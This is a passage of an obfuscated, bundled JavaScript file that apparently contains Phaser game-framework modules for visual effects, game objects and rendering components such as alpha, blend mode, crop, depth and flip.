_0x2a426a, this['glcolor'] = [0x0, 0x0, 0x0, 0x1], this['samples'] = _0x3324ba, this['intensity'] = _0x1a9224, void 0x0 !== _0x30b94f && (this['color'] = _0x30b94f); }, 'color': { 'get': function () { var _0x32a184 = this['glcolor']; return (0xff * _0x32a184[0x0] << 0x10) + (0xff * _0x32a184[0x1] << 0x8) + (0xff * _0x32a184[0x2] | 0x0); }, 'set': function (_0x15b6f0) { var _0xe7ccfb = this['glcolor']; _0xe7ccfb[0x0] = (_0x15b6f0 >> 0x10 & 0xff) / 0xff, _0xe7ccfb[0x1] = (_0x15b6f0 >> 0x8 & 0xff) / 0xff, _0xe7ccfb[0x2] = (0xff & _0x15b6f0) / 0xff; } } }); _0x4f03d7['exports'] = _0x7253ed; }, 0x221e: (_0x311b15, _0x15e290, _0x5e7c81) => { var _0x3a3c49 = _0x5e7c81(0x1d31), _0x35e66d = _0x5e7c81(0x17f0), _0x485aaf = _0x5e7c81(0x623), _0x4aa9c6 = new _0x3a3c49({ 'Extends': _0x35e66d, 'initialize': function (_0x15a09c, _0x1577e7, _0x637f4b, _0x3129d6, _0x4240f1) { void 0x0 === _0x1577e7 && (_0x1577e7 = 0.5), void 0x0 === _0x637f4b && (_0x637f4b = 0.5), void 0x0 === _0x3129d6 && (_0x3129d6 = 0x3), void 0x0 === _0x4240f1 && (_0x4240f1 = !0x1), _0x35e66d['call'](this, _0x485aaf['SHINE'], _0x15a09c), this['speed'] = _0x1577e7, this['lineWidth'] = _0x637f4b, this['gradient'] = _0x3129d6, this['reveal'] = _0x4240f1; } }); _0x311b15['exports'] = _0x4aa9c6; }, 0x985: (_0x4ed36b, _0x3524b2, _0xe6d102) => { var _0x10b759 = _0xe6d102(0x1d31), _0x964842 = _0xe6d102(0x17f0), _0x1117fe = _0xe6d102(0x623), _0x10595b = new _0x10b759({ 'Extends': _0x964842, 'initialize': function (_0x6b3f52, _0x3b4551, _0x5c30fa, _0x5d6fec, _0x840ad5) { void 0x0 === _0x3b4551 && (_0x3b4551 = 0.5), void 0x0 === _0x5c30fa && (_0x5c30fa = 0.5), void 0x0 === _0x5d6fec && (_0x5d6fec = 0.5), void 0x0 === _0x840ad5 && (_0x840ad5 = 0.5), _0x964842['call'](this, _0x1117fe['VIGNETTE'], _0x6b3f52), this['x'] = _0x3b4551, this['y'] = _0x5c30fa, this['radius'] = _0x5d6fec, this['strength'] = _0x840ad5; } }); _0x4ed36b['exports'] = _0x10595b; }, 0x1760: (_0x5abf34, _0x17adec, _0x11a7a9) => { var _0x493e68 = _0x11a7a9(0x1d31), _0x42bbe3 = _0x11a7a9(0x17f0), _0xe62e03 = _0x11a7a9(0x623), _0x4c3275 = new _0x493e68({ 'Extends': _0x42bbe3, 'initialize': function (_0x2b5ba7, _0x28e1c4, _0x2311db, _0x1d6b72, _0x9cc1c3) { void 0x0 === _0x28e1c4 && (_0x28e1c4 = 0.1), void 0x0 === _0x2311db && (_0x2311db = 0x0), void 0x0 === _0x1d6b72 && (_0x1d6b72 = 0x0), void 0x0 === _0x9cc1c3 && (_0x9cc1c3 = !0x1), _0x42bbe3['call'](this, _0xe62e03['WIPE'], _0x2b5ba7), this['progress'] = 0x0, this['wipeWidth'] = _0x28e1c4, this['direction'] = _0x2311db, this['axis'] = _0x1d6b72, this['reveal'] = _0x9cc1c3; } }); _0x5abf34['exports'] = _0x4c3275; }, 0x623: _0x3c6151 => { _0x3c6151['exports'] = { 'GLOW': 0x4, 'SHADOW': 0x5, 'PIXELATE': 0x6, 'VIGNETTE': 0x7, 'SHINE': 0x8, 'BLUR': 0x9, 'GRADIENT': 0xc, 'BLOOM': 0xd, 'COLOR_MATRIX': 0xe, 'CIRCLE': 0xf, 'BARREL': 0x10, 'DISPLACEMENT': 0x11, 'WIPE': 0x12, 'BOKEH': 0x13 }; }, 0x1cb3: (_0x3bd56e, _0x5efc3a, _0x664c30) => { var _0x3ac294 = _0x664c30(0x406), _0x49b1a5 = _0x664c30(0x623), _0x7ecb45 = { 'Barrel': _0x664c30(0x1cac), 'Controller': _0x664c30(0x17f0), 'Bloom': _0x664c30(0x1432), 'Blur': _0x664c30(0x1067), 'Bokeh': _0x664c30(0xc3c), 'Circle': _0x664c30(0x19d2), 'ColorMatrix': _0x664c30(0x1343), 'Displacement': _0x664c30(0x23eb), 'Glow': _0x664c30(0x1bd), 'Gradient': _0x664c30(0x1e2c), 'Pixelate': _0x664c30(0x113c), 'Shadow': _0x664c30(0x4b), 'Shine': _0x664c30(0x221e), 'Vignette': _0x664c30(0x985), 'Wipe': _0x664c30(0x1760) }; _0x7ecb45 = _0x3ac294(!0x1, _0x7ecb45, _0x49b1a5), _0x3bd56e['exports'] = _0x7ecb45; }, 0x9be: (_0x77ec13, _0x546886, _0x5e06ce) => { var _0x117fa8 = _0x5e06ce(0x209f), _0x1b9d7f = _0x5e06ce(0x20a9); _0x77ec13['exports'] = function (_0x2930d5, _0x248bc7, _0x2612a8) { _0x248bc7['x'] = _0x1b9d7f(_0x2612a8, 'x', 0x0), _0x248bc7['y'] = _0x1b9d7f(_0x2612a8, 'y', 0x0), _0x248bc7['depth'] = _0x1b9d7f(_0x2612a8, 'depth', 0x0), _0x248bc7['flipX'] = _0x1b9d7f(_0x2612a8, 'flipX', !0x1), _0x248bc7['flipY'] = _0x1b9d7f(_0x2612a8, 'flipY', !0x1); var _0x5a3e8b = _0x1b9d7f(_0x2612a8, 'scale', null); 'number' == typeof _0x5a3e8b ? _0x248bc7['setScale'](_0x5a3e8b) : null !== _0x5a3e8b && (_0x248bc7['scaleX'] = _0x1b9d7f(_0x5a3e8b, 'x', 0x1), _0x248bc7['scaleY'] = _0x1b9d7f(_0x5a3e8b, 'y', 0x1)); var _0x1f67f0 = _0x1b9d7f(_0x2612a8, 'scrollFactor', null); 'number' == typeof _0x1f67f0 ? _0x248bc7['setScrollFactor'](_0x1f67f0) : null !== _0x1f67f0 && (_0x248bc7['scrollFactorX'] = _0x1b9d7f(_0x1f67f0, 'x', 0x1), _0x248bc7['scrollFactorY'] = _0x1b9d7f(_0x1f67f0, 'y', 0x1)), _0x248bc7['rotation'] = _0x1b9d7f(_0x2612a8, 'rotation', 0x0); var _0x5a75c5 = _0x1b9d7f(_0x2612a8, 'angle', null); null !== _0x5a75c5 && (_0x248bc7['angle'] = _0x5a75c5), _0x248bc7['alpha'] = _0x1b9d7f(_0x2612a8, 'alpha', 0x1); var _0x3566d5 = _0x1b9d7f(_0x2612a8, 'origin', null); if ('number' == typeof _0x3566d5) _0x248bc7['setOrigin'](_0x3566d5); else { if (null !== _0x3566d5) { var _0x24a245 = _0x1b9d7f(_0x3566d5, 'x', 0.5), _0x17259f = _0x1b9d7f(_0x3566d5, 'y', 0.5); _0x248bc7['setOrigin'](_0x24a245, _0x17259f); } } return _0x248bc7['blendMode'] = _0x1b9d7f(_0x2612a8, 'blendMode', _0x117fa8['NORMAL']), _0x248bc7['visible'] = _0x1b9d7f(_0x2612a8, 'visible', !0x0), _0x1b9d7f(_0x2612a8, 'add', !0x0) && _0x2930d5['sys']['displayList']['add'](_0x248bc7), _0x248bc7['preUpdate'] && _0x2930d5['sys']['updateList']['add'](_0x248bc7), _0x248bc7; }; }, 0x8e1: (_0x266de2, _0x313271, _0x5579f1) => { var _0x4ca7e6 = _0x5579f1(0x1d31), _0x35f5b3 = _0x5579f1(0x17ed), _0x23ac4b = _0x5579f1(0x439), _0x544a3d = _0x5579f1(0x112f), _0x2601b6 = _0x5579f1(0xd3d), _0x3e3413 = _0x5579f1(0xcc), _0x1b206c = new _0x4ca7e6({ 'Extends': _0x544a3d, 'initialize': function (_0x14362e, _0x252168) { _0x544a3d['call'](this), this['scene'] = _0x14362e, this['displayList'] = null, this['type'] = _0x252168, this['state'] = 0x0, this['parentContainer'] = null, this['name'] = '', this['active'] = !0x0, this['tabIndex'] = -0x1, this['data'] = null, this['renderFlags'] = 0xf, this['cameraFilter'] = 0x0, this['input'] = null, this['body'] = null, this['ignoreDestroy'] = !0x1, this['on'](_0x2601b6['ADDED_TO_SCENE'], this['addedToScene'], this), this['on'](_0x2601b6['REMOVED_FROM_SCENE'], this['removedFromScene'], this), _0x14362e['sys']['queueDepthSort'](); }, 'setActive': function (_0x5e4513) { return this['active'] = _0x5e4513, this; }, 'setName': function (_0x35c305) { return this['name'] = _0x35c305, this; }, 'setState': function (_0x35da88) { return this['state'] = _0x35da88, this; }, 'setDataEnabled': function () { return this['data'] || (this['data'] = new _0x23ac4b(this)), this; }, 'setData': function (_0xfd8455, _0x1585c8) { return this['data'] || (this['data'] = new _0x23ac4b(this)), this['data']['set'](_0xfd8455, _0x1585c8), this; }, 'incData': function (_0x55f5ad, _0x1e9a2b) { return this['data'] || (this['data'] = new _0x23ac4b(this)), this['data']['inc'](_0x55f5ad, _0x1e9a2b), this; }, 'toggleData': function (_0x569036) { return this['data'] || (this['data'] = new _0x23ac4b(this)), this['data']['toggle'](_0x569036), this; }, 'getData': function (_0x2faa65) { return this['data'] || (this['data'] = new _0x23ac4b(this)), this['data']['get'](_0x2faa65); }, 'setInteractive': function (_0x43e679, _0x5b6ca8, _0x2a0925) { return this['scene']['sys']['input']['enable'](this, _0x43e679, _0x5b6ca8, _0x2a0925), this; }, 'disableInteractive': function () { return this['scene']['sys']['input']['disable'](this), this; }, 'removeInteractive': function () { return this['scene']['sys']['input']['clear'](this), this['input'] = void 0x0, this; }, 'addedToScene': function () { }, 'removedFromScene': function () { }, 'update': function () { }, 'toJSON': function () { return _0x35f5b3(this); }, 'willRender': function (_0xde54c9) { return !(!(!this['displayList'] || !this['displayList']['active'] || this['displayList']['willRender'](_0xde54c9)) || _0x1b206c['RENDER_MASK'] !== this['renderFlags'] || 0x0 !== this['cameraFilter'] && this['cameraFilter'] & _0xde54c9['id']); }, 'getIndexList': function () { for (var _0x21ebda = this, _0x387d98 = this['parentContainer'], _0x49c3ec = []; _0x387d98 && (_0x49c3ec['unshift'](_0x387d98['getIndex'](_0x21ebda)), _0x21ebda = _0x387d98, _0x387d98['parentContainer']);)_0x387d98 = _0x387d98['parentContainer']; return this['displayList'] ? _0x49c3ec['unshift'](this['displayList']['getIndex'](_0x21ebda)) : _0x49c3ec['unshift'](this['scene']['sys']['displayList']['getIndex'](_0x21ebda)), _0x49c3ec; }, 'addToDisplayList': function (_0x264cc2) { return void 0x0 === _0x264cc2 && (_0x264cc2 = this['scene']['sys']['displayList']), this['displayList'] && this['displayList'] !== _0x264cc2 && this['removeFromDisplayList'](), _0x264cc2['exists'](this) || (this['displayList'] = _0x264cc2, _0x264cc2['add'](this, !0x0), _0x264cc2['queueDepthSort'](), this['emit'](_0x2601b6['ADDED_TO_SCENE'], this, this['scene']), _0x264cc2['events']['emit'](_0x3e3413['ADDED_TO_SCENE'], this, this['scene'])), this; }, 'addToUpdateList': function () { return this['scene'] && this['preUpdate'] && this['scene']['sys']['updateList']['add'](this), this; }, 'removeFromDisplayList': function () { var _0x3a4bac = this['displayList'] || this['scene']['sys']['displayList']; return _0x3a4bac && _0x3a4bac['exists'](this) && (_0x3a4bac['remove'](this, !0x0), _0x3a4bac['queueDepthSort'](), this['displayList'] = null, this['emit'](_0x2601b6['REMOVED_FROM_SCENE'], this, this['scene']), _0x3a4bac['events']['emit'](_0x3e3413['REMOVED_FROM_SCENE'], this, this['scene'])), this; }, 'removeFromUpdateList': function () { return this['scene'] && this['preUpdate'] && this['scene']['sys']['updateList']['remove'](this), this; }, 'destroy': function (_0x172fe8) { this['scene'] && !this['ignoreDestroy'] && (void 0x0 === _0x172fe8 && (_0x172fe8 = !0x1), this['preDestroy'] && this['preDestroy']['call'](this), this['emit'](_0x2601b6['DESTROY'], this, _0x172fe8), this['removeAllListeners'](), this['postPipelines'] && this['resetPostPipeline'](!0x0), this['removeFromDisplayList'](), this['removeFromUpdateList'](), this['input'] && (this['scene']['sys']['input']['clear'](this), this['input'] = void 0x0), this['data'] && (this['data']['destroy'](), this['data'] = void 0x0), this['body'] && (this['body']['destroy'](), this['body'] = void 0x0), this['preFX'] && (this['preFX']['destroy'](), this['preFX'] = void 0x0), this['postFX'] && (this['postFX']['destroy'](), this['postFX'] = void 0x0), this['active'] = !0x1, this['visible'] = !0x1, this['scene'] = void 0x0, this['parentContainer'] = void 0x0); } }); _0x1b206c['RENDER_MASK'] = 0xf, _0x266de2['exports'] = _0x1b206c; }, 0xe41: (_0x418af6, _0x56aa62, _0x18d182) => { var _0x2cc522 = _0x18d182(0x1d31), _0x1fc3dd = _0x18d182(0x2108), _0x362fbd = _0x18d182(0xcc), _0x1f8ad3 = new _0x2cc522({ 'initialize': function (_0x5bc6b4) { this['scene'] = _0x5bc6b4, this['systems'] = _0x5bc6b4['sys'], this['events'] = _0x5bc6b4['sys']['events'], this['displayList'], this['updateList'], this['events']['once'](_0x362fbd['BOOT'], this['boot'], this), this['events']['on'](_0x362fbd['START'], this['start'], this); }, 'boot': function () { this['displayList'] = this['systems']['displayList'], this['updateList'] = this['systems']['updateList'], this['events']['once'](_0x362fbd['DESTROY'], this['destroy'], this); }, 'start': function () { this['events']['once'](_0x362fbd['SHUTDOWN'], this['shutdown'], this); }, 'existing': function (_0x1a4c1d) { return (_0x1a4c1d['renderCanvas'] || _0x1a4c1d['renderWebGL']) && this['displayList']['add'](_0x1a4c1d), _0x1a4c1d['preUpdate'] && this['updateList']['add'](_0x1a4c1d), _0x1a4c1d; }, 'shutdown': function () { this['events']['off'](_0x362fbd['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['events']['off'](_0x362fbd['START'], this['start'], this), this['scene'] = null, this['systems'] = null, this['events'] = null, this['displayList'] = null, this['updateList'] = null; } }); _0x1f8ad3['register'] = function (_0x3456ac, _0xd51fa2) { _0x1f8ad3['prototype']['hasOwnProperty'](_0x3456ac) || (_0x1f8ad3['prototype'][_0x3456ac] = _0xd51fa2); }, _0x1f8ad3['remove'] = function (_0x6fd85d) { _0x1f8ad3['prototype']['hasOwnProperty'](_0x6fd85d) && delete _0x1f8ad3['prototype'][_0x6fd85d]; }, _0x1fc3dd['register']('GameObjectFactory', _0x1f8ad3, 'add'), _0x418af6['exports'] = _0x1f8ad3; }, 0x8a0: (_0x41f6bf, _0x57bcbc, _0x1477d6) => { var _0x37eed3 = _0x1477d6(0x1083), _0x380bb7 = new _0x37eed3(), _0x2f6e99 = new _0x37eed3(), _0x5c4892 = new _0x37eed3(), _0x4c54f6 = { 'camera': _0x380bb7, 'sprite': _0x2f6e99, 'calc': _0x5c4892 }; _0x41f6bf['exports'] = function (_0x2780f6, _0x151094, _0x23a927) { var _0x1b67ed = _0x380bb7, _0x16ea30 = _0x2f6e99, _0x547a89 = _0x5c4892; return _0x16ea30['applyITRS'](_0x2780f6['x'], _0x2780f6['y'], _0x2780f6['rotation'], _0x2780f6['scaleX'], _0x2780f6['scaleY']), _0x1b67ed['copyFrom'](_0x151094['matrix']), _0x23a927 ? (_0x1b67ed['multiplyWithOffset'](_0x23a927, -_0x151094['scrollX'] * _0x2780f6['scrollFactorX'], -_0x151094['scrollY'] * _0x2780f6['scrollFactorY']), _0x16ea30['e'] = _0x2780f6['x'], _0x16ea30['f'] = _0x2780f6['y']) : (_0x16ea30['e'] -= _0x151094['scrollX'] * _0x2780f6['scrollFactorX'], _0x16ea30['f'] -= _0x151094['scrollY'] * _0x2780f6['scrollFactorY']), _0x1b67ed['multiply'](_0x16ea30, _0x547a89), _0x4c54f6; }; }, 0x10f8: (_0x22f66a, _0x48982e, _0x3a0b8a) => { var _0x376ce7 = _0x3a0b8a(0xb63), _0x37315c = { '_alpha': 0x1, '_alphaTL': 0x1, '_alphaTR': 0x1, '_alphaBL': 0x1, '_alphaBR': 0x1, 'clearAlpha': function () { return this['setAlpha'](0x1); }, 'setAlpha': function (_0x18c88e, _0x4f9ec2, _0x121618, _0x5379e5) { return void 0x0 === _0x18c88e && (_0x18c88e = 0x1), void 0x0 === _0x4f9ec2 ? this['alpha'] = _0x18c88e : (this['_alphaTL'] = _0x376ce7(_0x18c88e, 0x0, 0x1), this['_alphaTR'] = _0x376ce7(_0x4f9ec2, 0x0, 0x1), this['_alphaBL'] = _0x376ce7(_0x121618, 0x0, 0x1), this['_alphaBR'] = _0x376ce7(_0x5379e5, 0x0, 0x1)), this; }, 'alpha': { 'get': function () { return this['_alpha']; }, 'set': function (_0x355f1a) { var _0x103bf4 = _0x376ce7(_0x355f1a, 0x0, 0x1); this['_alpha'] = _0x103bf4, this['_alphaTL'] = _0x103bf4, this['_alphaTR'] = _0x103bf4, this['_alphaBL'] = _0x103bf4, this['_alphaBR'] = _0x103bf4, 0x0 === _0x103bf4 ? this['renderFlags'] &= -0x3 : this['renderFlags'] |= 0x2; } }, 'alphaTopLeft': { 'get': function () { return this['_alphaTL']; }, 'set': function (_0x3d7a15) { var _0x12a7fc = _0x376ce7(_0x3d7a15, 0x0, 0x1); this['_alphaTL'] = _0x12a7fc, 0x0 !== _0x12a7fc && (this['renderFlags'] |= 0x2); } }, 'alphaTopRight': { 'get': function () { return this['_alphaTR']; }, 'set': function (_0x1e8db5) { var _0x35a000 = _0x376ce7(_0x1e8db5, 0x0, 0x1); this['_alphaTR'] = _0x35a000, 0x0 !== _0x35a000 && (this['renderFlags'] |= 0x2); } }, 'alphaBottomLeft': { 'get': function () { return this['_alphaBL']; }, 'set': function (_0x3fe0b6) { var _0x28dfa7 = _0x376ce7(_0x3fe0b6, 0x0, 0x1); this['_alphaBL'] = _0x28dfa7, 0x0 !== _0x28dfa7 && (this['renderFlags'] |= 0x2); } }, 'alphaBottomRight': { 'get': function () { return this['_alphaBR']; }, 'set': function (_0x5a76f1) { var _0x5509fd = _0x376ce7(_0x5a76f1, 0x0, 0x1); this['_alphaBR'] = _0x5509fd, 0x0 !== _0x5509fd && (this['renderFlags'] |= 0x2); } } }; _0x22f66a['exports'] = _0x37315c; }, 0x11a6: (_0x138ffd, _0x40bf88, _0x18db8a) => { var _0x17c8d6 = _0x18db8a(0xb63), _0x487fba = { '_alpha': 0x1, 'clearAlpha': function () { return this['setAlpha'](0x1); }, 'setAlpha': function (_0x31a634) { return void 0x0 === _0x31a634 && (_0x31a634 = 0x1), this['alpha'] = _0x31a634, this; }, 'alpha': { 'get': function () { return this['_alpha']; }, 'set': function (_0x5e643c) { var _0x4a458d = _0x17c8d6(_0x5e643c, 0x0, 0x1); this['_alpha'] = _0x4a458d, 0x0 === _0x4a458d ? this['renderFlags'] &= -0x3 : this['renderFlags'] |= 0x2; } } }; _0x138ffd['exports'] = _0x487fba; }, 0x1435: (_0x195a39, _0x2a2cd8, _0x26263d) => { var _0x530596 = _0x26263d(0x209f), _0x5be575 = { '_blendMode': _0x530596['NORMAL'], 'blendMode': { 'get': function () { return this['_blendMode']; }, 'set': function (_0x5f1a02) { 'string' == typeof _0x5f1a02 && (_0x5f1a02 = _0x530596[_0x5f1a02]), (_0x5f1a02 |= 0x0) >= -0x1 && (this['_blendMode'] = _0x5f1a02); } }, 'setBlendMode': function (_0xbf15f3) { return this['blendMode'] = _0xbf15f3, this; } }; _0x195a39['exports'] = _0x5be575; }, 0x7c7: _0x91a414 => { _0x91a414['exports'] = { 'width': 0x0, 'height': 0x0, 'displayWidth': { 'get': function () { return this['scaleX'] * this['width']; }, 'set': function (_0xa45d0f) { this['scaleX'] = _0xa45d0f / this['width']; } }, 'displayHeight': { 'get': function () { return this['scaleY'] * this['height']; }, 'set': function (_0x2f98a9) { this['scaleY'] = _0x2f98a9 / this['height']; } }, 'setSize': function (_0x137280, _0x338d71) { return this['width'] = _0x137280, this['height'] = _0x338d71, this; }, 'setDisplaySize': function (_0x449c38, _0x2263c2) { return this['displayWidth'] = _0x449c38, this['displayHeight'] = _0x2263c2, this; } }; }, 0x2071: _0x323f94 => { var _0x16ab95 = { 'texture': null, 'frame': null, 'isCropped': !0x1, 'setCrop': function (_0x52ae2a, _0x409cf2, _0x367594, _0x183e1b) { if (void 0x0 === _0x52ae2a) this['isCropped'] = !0x1; else { if (this['frame']) { if ('number' == typeof _0x52ae2a) this['frame']['setCropUVs'](this['_crop'], _0x52ae2a, _0x409cf2, _0x367594, _0x183e1b, this['flipX'], this['flipY']); else { var _0xff8f72 = _0x52ae2a; this['frame']['setCropUVs'](this['_crop'], _0xff8f72['x'], _0xff8f72['y'], _0xff8f72['width'], _0xff8f72['height'], this['flipX'], this['flipY']); } this['isCropped'] = !0x0; } } return this; }, 'resetCropObject': function () { return { 'u0': 0x0, 'v0': 0x0, 'u1': 0x0, 'v1': 0x0, 'width': 0x0, 'height': 0x0, 'x': 0x0, 'y': 0x0, 'flipX': !0x1, 'flipY': !0x1, 'cx': 0x0, 'cy': 0x0, 'cw': 0x0, 'ch': 0x0 }; } }; _0x323f94['exports'] = _0x16ab95; }, 0xc3b: _0x42f108 => { var _0x33eb09 = { '_depth': 0x0, 'depth': { 'get': function () { return this['_depth']; }, 'set': function (_0x228b2b) { this['displayList'] && this['displayList']['queueDepthSort'](), this['_depth'] = _0x228b2b; } }, 'setDepth': function (_0x419e3a) { return void 0x0 === _0x419e3a && (_0x419e3a = 0x0), this['depth'] = _0x419e3a, this; } }; _0x42f108['exports'] = _0x33eb09; }, 0x65a: (_0x52c18c, _0x1c184b, _0x103e16) => { var _0x37fbae = _0x103e16(0x1d31), _0x144ec8 = _0x103e16(0x1cb3), _0xeed5a7 = _0x103e16(0x22e7), _0x180601 = new _0x37fbae({ 'initialize': function (_0x358bd2, _0x94253e) { this['gameObject'] = _0x358bd2, this['isPost'] = _0x94253e, this['enabled'] = !0x1, this['list'] = [], this['padding'] = 0x0; }, 'setPadding': function (_0x563928) { return void 0x0 === _0x563928 && (_0x563928 = 0x0), this['padding'] = _0x563928, this['gameObject']; }, 'onFXCopy': function () { }, 'onFX': function () { }, 'enable': function (_0x598bc0) { if (!this['isPost']) { var _0x404732 = this['gameObject']['scene']['sys']['renderer']; _0x404732 && _0x404732['pipelines'] ? (this['gameObject']['pipeline'] = _0x404732['pipelines']['FX_PIPELINE'], void 0x0 !== _0x598bc0 && (this['padding'] = _0x598bc0), this['enabled'] = !0x0) : this['enabled'] = !0x1; } }, 'clear': function () { if (this['isPost']) this['gameObject']['resetPostPipeline'](!0x0); else { for (var _0x341fb6 = this['list'], _0x583dff = 0x0; _0x583dff < _0x341fb6['length']; _0x583dff++)_0x341fb6[_0x583dff]['destroy'](); this['list'] = []; } return this['enabled'] = !0x1, this['gameObject']; }, 'remove': function (_0x4c5b35) { var _0x878325; if (this['isPost']) { var _0x1a17ee = this['gameObject']['getPostPipeline'](String(_0x4c5b35['type'])); for (Array['isArray'](_0x1a17ee) || (_0x1a17ee = [_0x1a17ee]), _0x878325 = 0x0; _0x878325 < _0x1a17ee['length']; _0x878325++) { var _0x18cd05 = _0x1a17ee[_0x878325]; if (_0x18cd05['controller'] === _0x4c5b35) { this['gameObject']['removePostPipeline'](_0x18cd05), _0x4c5b35['destroy'](); break; } } } else { var _0x17d2bb = this['list']; for (_0x878325 = 0x0; _0x878325 < _0x17d2bb['length']; _0x878325++)_0x17d2bb[_0x878325] === _0x4c5b35 && (_0xeed5a7(_0x17d2bb, _0x878325), _0x4c5b35['destroy']()); } return this['gameObject']; }, 'disable': function (_0x30c4b9) { return void 0x0 === _0x30c4b9 && (_0x30c4b9 = !0x1), this['isPost'] || this['gameObject']['resetPipeline'](), this['enabled'] = !0x1, _0x30c4b9 && this['clear'](), this['gameObject']; }, 'add': function (_0x502a27, _0x19b90f) { if (!this['isPost']) return this['enabled'] || this['enable'](), this['list']['push'](_0x502a27), _0x502a27; var _0x5c676e = String(_0x502a27['type']); this['gameObject']['setPostPipeline'](_0x5c676e, _0x19b90f); var _0xf74a43 = this['gameObject']['getPostPipeline'](_0x5c676e); return _0xf74a43 ? (Array['isArray'](_0xf74a43) && (_0xf74a43 = _0xf74a43['pop']()), _0xf74a43['controller'] = _0x502a27, _0x502a27) : void 0x0; }, 'addGlow': function (_0x17f602, _0x42e70e, _0x47703f, _0x549455, _0x30c67e, _0x104fc0) { return this['add'](new _0x144ec8['Glow'](this['gameObject'], _0x17f602, _0x42e70e, _0x47703f, _0x549455), { 'quality': _0x30c67e, 'distance': _0x104fc0 }); }, 'addShadow': function (_0xcbf8dd, _0xc5e2f, _0x29ea21, _0x3f7c5a, _0x2170eb, _0x1da719, _0x3dbc49) { return this['add'](new _0x144ec8['Shadow'](this['gameObject'], _0xcbf8dd, _0xc5e2f, _0x29ea21, _0x3f7c5a, _0x2170eb, _0x1da719, _0x3dbc49)); }, 'addPixelate': function (_0x1810e6) { return this['add'](new _0x144ec8['Pixelate'](this['gameObject'], _0x1810e6)); }, 'addVignette': function (_0x42818d, _0xe4063, _0x3e8303, _0xb8dfa8) { return this['add'](new _0x144ec8['Vignette'](this['gameObject'], _0x42818d, _0xe4063, _0x3e8303, _0xb8dfa8)); }, 'addShine': function (_0x139a90, _0x5a5fe7, _0x5afa0c, _0x2807ec) { return this['add'](new _0x144ec8['Shine'](this['gameObject'], _0x139a90, _0x5a5fe7, _0x5afa0c, _0x2807ec)); }, 'addBlur': function (_0x283508, _0x4e4230, _0x2625cf, _0x36595e, _0x34930a, _0x9809ce) { return this['add'](new _0x144ec8['Blur'](this['gameObject'], _0x283508, _0x4e4230, _0x2625cf, _0x36595e, _0x34930a, _0x9809ce)); }, 'addGradient': function (_0x51b5ec, _0x3a3e6e, _0x513eaa, _0x2bb680, _0x3173ba, _0x2be8f3, _0x4058c7, _0x219943) { return this['add'](new _0x144ec8['Gradient'](this['gameObject'], _0x51b5ec, _0x3a3e6e, _0x513eaa, _0x2bb680, _0x3173ba, _0x2be8f3, _0x4058c7, _0x219943)); }, 'addBloom': function (_0x242e89, _0x41c1b3, _0x306df3, _0x148ff9, _0x3d9de4, _0x5d2e58) { return this['add'](new _0x144ec8['Bloom'](this['gameObject'], _0x242e89, _0x41c1b3, _0x306df3, _0x148ff9, _0x3d9de4, _0x5d2e58)); }, 'addColorMatrix': function () { return this['add'](new _0x144ec8['ColorMatrix'](this['gameObject'])); }, 'addCircle': function (_0x1eae04, _0x33fe54, _0x191950, _0x4aa9e8, _0x5e3bf4) { return this['add'](new _0x144ec8['Circle'](this['gameObject'], _0x1eae04, _0x33fe54, _0x191950, _0x4aa9e8, _0x5e3bf4)); }, 'addBarrel': function (_0x23df70) { return this['add'](new _0x144ec8['Barrel'](this['gameObject'], _0x23df70)); }, 'addDisplacement': function (_0xf7806d, _0x36b43f, _0xea1a8d) { return this['add'](new _0x144ec8['Displacement'](this['gameObject'], _0xf7806d, _0x36b43f, _0xea1a8d)); }, 'addWipe': function (_0x5e13d2, _0x5dd97a, _0x587c67) { return this['add'](new _0x144ec8['Wipe'](this['gameObject'], _0x5e13d2, _0x5dd97a, _0x587c67)); }, 'addReveal': function (_0x3826ad, _0x34a1c0, _0x2a4216) { return this['add'](new _0x144ec8['Wipe'](this['gameObject'], _0x3826ad, _0x34a1c0, _0x2a4216, !0x0)); }, 'addBokeh': function (_0xf410a7, _0x4f2f45, _0x33493c) { return this['add'](new _0x144ec8['Bokeh'](this['gameObject'], _0xf410a7, _0x4f2f45, _0x33493c)); }, 'addTiltShift': function (_0x15f7c6, _0x11f911, _0x3a2118, _0x231e28, _0x5c58d0, _0x220095) { return this['add'](new _0x144ec8['Bokeh'](this['gameObject'], _0x15f7c6, _0x11f911, _0x3a2118, !0x0, _0x231e28, _0x5c58d0, _0x220095)); }, 'destroy': function () { this['clear'](), this['gameObject'] = null; } }); _0x52c18c['exports'] = _0x180601; }, 0x25bc: _0x110191 => { _0x110191['exports'] = { 'flipX': !0x1, 'flipY': !0x1, 'toggleFlipX': function () { return this['flipX'] = !this['flipX'], this; }, 'toggleFlipY': function () { return this['flipY'] = !this['flipY'], this; }, 'setFlipX': function (_0x34eee6) { return this['flipX'] = _0x34eee6, this; }, 'setFlipY': function (_0x5e3d88) { return this['flipY'] = _0x5e3d88, this; }, 'setFlip': function (_0x2d8ecc, _0x27be5b) { return this['flipX'] = _0x2d8ecc, this['flipY'] = _0x27be5b, this; }, 'resetFlip': function () { return this['flipX'] = !0x1, this['flipY'] = !0x1, this; } }; }, 0xe57: (_0x98fe54, _0x513cc1, _0x4c4780) => { var _0x35179a = _0x4c4780(0x570), _0xeede00 = _0x4c4780(0x2694), _0x3fb527 = _0x4c4780(0x9e1), _0x557931 = { 'prepareBoundsOutput': function (_0x33cd37, _0x1a3667) { return (void 0x0 === _0x1a3667 && (_0x1a3667 = !0x1), 0x0 !== this['rotation'] && _0xeede00(_0x33cd37, this['x'], this['y'], this['rotation']), _0x1a3667 && this['parentContainer']) && this['parentContainer']['getBoundsTransformMatrix']()['transformPoint'](_0x33cd37['x'], _0x33cd37['y'], _0x33cd37), _0x33cd37; }, 'getCenter': function (_0x3cd294, _0x4f27c0) { return void 0x0 === _0x3cd294 && (_0x3cd294 = new _0x3fb527()), _0x3cd294['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'] / 0x2, _0x3cd294['y'] = this['y'] - this['displayHeight'] * this['originY'] + this['displayHeight'] / 0x2, this['prepareBoundsOutput'](_0x3cd294, _0x4f27c0); }, 'getTopLeft': function (_0x5e82ce, _0x27cbd9) { return _0x5e82ce || (_0x5e82ce = new _0x3fb527()), _0x5e82ce['x'] = this['x'] - this['displayWidth'] * this['originX'], _0x5e82ce['y'] = this['y'] - this['displayHeight'] * this['originY'], this['prepareBoundsOutput'](_0x5e82ce, _0x27cbd9); }, 'getTopCenter': function (_0x5eb0fc, _0x602a7b) { return _0x5eb0fc || (_0x5eb0fc = new _0x3fb527()), _0x5eb0fc['x'] = this['x'] - this['displayWidth'] * this['originX'] + this['displayWidth'] / 